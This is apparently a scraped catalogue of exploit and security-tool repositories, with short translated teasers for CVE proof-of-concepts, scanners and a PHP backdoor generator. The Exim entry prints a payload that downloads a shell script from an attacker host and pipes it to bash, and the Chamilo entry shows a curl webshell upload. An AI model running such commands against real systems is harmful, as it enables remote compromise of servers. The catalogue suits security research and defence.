shuffledns

massDNS wrapper to bruteforce and resolve the subdomains with wildcard handling support Feature • Install • Run • Wildcard • License • Discord shuffleDNS is a wrapper around massdns, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomain...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability Описание уязвимости Часто мы используем WebView для отображения веб-страницы. Например, многие приложения для реализации серверного управления отображают результаты в виде веб-страниц, а не в виде локального интерфейса. У этого есть много преимуществ:...

CVE-2018-18925

CVE-2018-18925 Эксплуатация CVE-2018-18925 — удаленное выполнение кода в самостоятельно размещаемом Git-инструменте: Gogs. Gogs основан на фреймворке Macaron. Система управления сессиями очень похожа на ту, что используется в PHP. Идентификатор сессии в cookie сопоставляется с файлом в файловой...

hook

amalmurali47/hook Этот репозиторий является частью PoC для эксплуатации CVE-2024-32002, уязвимости в Git, которая позволяет выполнять удалённый код RCE во время операции git clone. Этот репозиторий содержит вредоносный хук, используемый в эксплойте. Обзор Подробные инструкции и объяснение принцип...

CVE-2015-6132

CVE-2015-6132 Microsoft Office / COM 개체 DLL 심기 원본 PoC: https://www.exploit-db.com/exploits/38968/ 동일한 디렉토리에 mqrt.dll과 함께 poc.rtf를 실행하면 DLL이 트리거되며, 이 경우 calc 창 띄우기입니다. Down/exec DLL을 만드는 것도 작동합니다. Samba/WebDav에서 실행되도록 DLL을 내보내는 것이 가능합니다. https://twitter.com/hex00r...

Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 Эти инструменты с открытым исходным кодом, вы можете переделывать их, но помните: никогда не удаляйте упоминание об авторе. Эти инструменты бесплатны и не предназначены для продажи!!! Результаты Shell зависят от вашего списка!!! Jenderal92 не несёт...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit CVE-2023-4220 취약점은 Chamilo = 1.11.24 버전에 영향을 주는 파일 업로드 취약점입니다. 이 취약점을 통해 공격자는 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 경로에 웹셸을 업로드하여 원격 명령 실행을 얻을 수 있으며, 업로드된 파일은 /main/inc/lib/javascript/bigupload/files 디렉토리에 저장됩니다. 설치 root@kitploit: git clone...

nginxhack

Это инструмент, использующий эксплойт CVE-2013-2028 для выполнения bind shell на целевом сервере под управлением Nginx 1.3.9 или 1.4.0. Его можно загрузить здесь необходимо запускать из командной строки Использование: nginxhack target target port target bind port...

cve-2020-8165-demo

CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...

CVE-2025-49132-PHP-PEAR

CVE-2025-49132: PHP PEAR 방식을 통한 Pterodactyl 패널 무인증 RCE 목차 개요 취약점 세부 정보 기술 분석 익스플로잇 흐름 설치 사용법 예제 완화 조치 면책 조항 참조 작성자 개요 이 저장소는 1.11.11 이전 버전의 Pterodactyl 패널에서 발생하는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-49132 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Pterodactyl 패널 은 PHP로 구축된 무료 오픈소스 게임 서버 관리 패널입니다. 이 취약점은 PHP PEAR의...

CVE-2025-55182-React2Shell-Async-Scanner

⚡ React2Shell CVE-2025-55182 / CVE-2025-66478 - 非同期RCEスキャナー プロトタイプ汚染 → React Server Actions を介したリモートコード実行 非同期・バージョン優先・出力ベースのカナリア検出 - 盲目的な推測は不要 !WARNING 認可されたセキュリティ研究およびペネトレーションテスト専用です。 明示的な書面による許可なくシステムをスキャンすることは違法です。 本ツールの誤用による責任は作者にはありません。 目次 脆弱性の概要 影響を受けるバージョン 検出の仕組み インストール 使用方法 オプションリファレンス...

CVE-2023-47460

CVE-2023-47460 설명 SQL 인젝션 취약점이 Knovos Discovery v.22.67.0에 존재합니다. 원격 공격자가 /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure 구성 요소를 통해 임의 코드를 실행할 수 있습니다. 취약점 유형 SQL Injection 제품 공급업체 Knovos Discovery 영향을 받는 제품 코드 베이스 Version 22.67.0 - Version 22.67.0 영향을 받는 구성 요소...

CVE-2024-10914

CVE-2024-10914 - Эксплойт удаленного выполнения кода RCE для D-Link Этот скрипт является эксплойтом типа proof-of-concept PoC для CVE-2024-10914, уязвимости удаленного выполнения кода в некоторых устройствах D-Link. Скрипт определяет и эксплуатирует уязвимые устройства для выполнения произвольных...

Remot3d

Remot3d - Простой способ эксплуатации Скоро будет обновлено Создать бэкдор можно легко и мгновенно, бэкдор может использоваться в удалённом процессе через Linux-терминал на сервере, на котором выполняется программа на языке PHP. Создан для обхода функций, отключённых на сервере, особенно для чтен...

cve-2016-1000027-poc

CVE-2016-1000027에 대한 PoC 이것은 CVE-2016-1000027의 영향을 받는 Spring Boolt 데모 애플리케이션입니다. 취약점 재현 단계 1. 취약한 서버 com.gypsyengineer.server.Server를 시작합니다. 2. com.gypsyengineer.client.Exploit을 실행합니다. Exploit 클래스는 payload.bin을 읽어 취약한 서버로 전송합니다. payload.bin에는 ysoserial이 생성한 페이로드가 포함되어 있습니다. 현재 payload.bin은 gedit을...

log4j-log4shell-affected

log4j-log4shell-affected Списки затронутых компонентов и затронутых приложений/вендоров по CVE-2021-44228 также известной как Log4shell или Log4j RCE для специалистов по реагированию на инциденты безопасности. Мы считаем важным классифицировать вендоров и продукты по двум категориям: 1. Внутренни...

wp_CVE-2020-35489_checker

wpCVE-2020-35489checker CVE-2020-35489 - 소개 wpCVE-2020-35489checker는 WordPress 웹사이트가 CVE-2020-35489에 취약한지 확인하도록 설계된 Python 명령줄 도구입니다. 이 특정 취약점은 5.3.2 이전 버전의 WordPress Contact Form 7 플러그인에 존재하는 보안 결함에서 비롯됩니다. 이 취약점으로 인해 입력 검증 및 삭제sanitization가 충분하지 않아 인증되지 않은 공격자가 양식 필드를 통해 악성 스크립트를 업로드할 수 있으며,...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC для эксплуатации уязвимости CVE-2019-10149 Пример использования python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Chamilo-LMS-Unauthenticated-File-Upload- Chamilo LMS ' dollarboysushil.php .png 이후 다음 명령을 실행하여 이 파일을 업로드할 수 있습니다. root@kitploit: $ curl -F '[email protected]' 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' .png /main/inc/lib/javascript/bigupload/files...

go-get-RCE

go-get-RCE Это эксплойт для CVE-2018-6574: go get RCE Эта уязвимость затрагивает команду Golang go get и позволяет атакующему получить выполнение кода на системе, устанавливающей их вредоносную библиотеку. Это хороший пример уязвимости, которая может быть использована с помощью typosquatting для...